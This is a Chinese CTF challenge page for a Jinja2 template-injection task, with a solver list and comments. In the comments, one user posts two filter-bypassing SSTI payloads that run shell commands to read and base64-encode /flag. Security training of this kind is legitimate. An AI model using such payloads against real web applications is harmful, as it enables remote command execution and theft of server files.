Template MasterWEB 未解决
分数:
30
金币:
4
题目作者:
zhang
一 血:
dlgz
一血奖励:
4金币
解 决:
45
提 示:
描 述:
我们做了一个"个性化问候语生成器"：输入你的名字，它就会为你生成一条问候语。
网站管理员很谨慎：他给输入加了一份关键字黑名单，把
__class__、os、popen、.等"危险字符"全过滤了；又给输出加了一道检查，不许页面里出现敏感内容。他声称这样就不可能被利用了。真的吗？请想办法拿到服务器上
/flag文件里的 flag。
评分(1)
解题动态
kingx3 攻破了该题 1天前
aaa建材王哥 攻破了该题 1天前
CCC1112 攻破了该题 3天前
zmjjkk..... 攻破了该题 3天前
cxy..... 攻破了该题 3天前
Amy 攻破了该题 3天前
一江明月送归舟 攻破了该题 4天前
valecalida 攻破了该题 6天前
itsjimo 攻破了该题 9天前
Alter 攻破了该题 10天前
1柒1 攻破了该题 11天前
熊猫297 攻破了该题 12天前
daodao233 攻破了该题 13天前
fjakjasdhfa 攻破了该题 14天前
qi1102 攻破了该题 14天前
noob11 攻破了该题 15天前
小懒 攻破了该题 16天前
风掠 攻破了该题 16天前
KN11 攻破了该题 16天前
评论
zhang 1月前
举报
给个五星评价吧
Vluae 1月前
举报
{{''['__'+'class'+'__']['__base__']['__subcl'+'asses__']()[-1]('cat /fl'+'ag|base64',shell=True,stdout=-1)['communicate']()[0]['decode']()}}
Vluae 1月前
举报
{{lipsum['_'+'_'+'globals'+'_'+'_']['o'+'s']['po'+'pen']('cat /fl'+'ag|base64')['re'+'ad']()}}
zhang 1月前
举报
嘤嘤嘤
加州故事 1月前
举报
这是一道 Jinja2 SSTI 题，name POST 参数直接进模板（{{7*7}} → 49）。管理员设了两道防线，逐个绕过：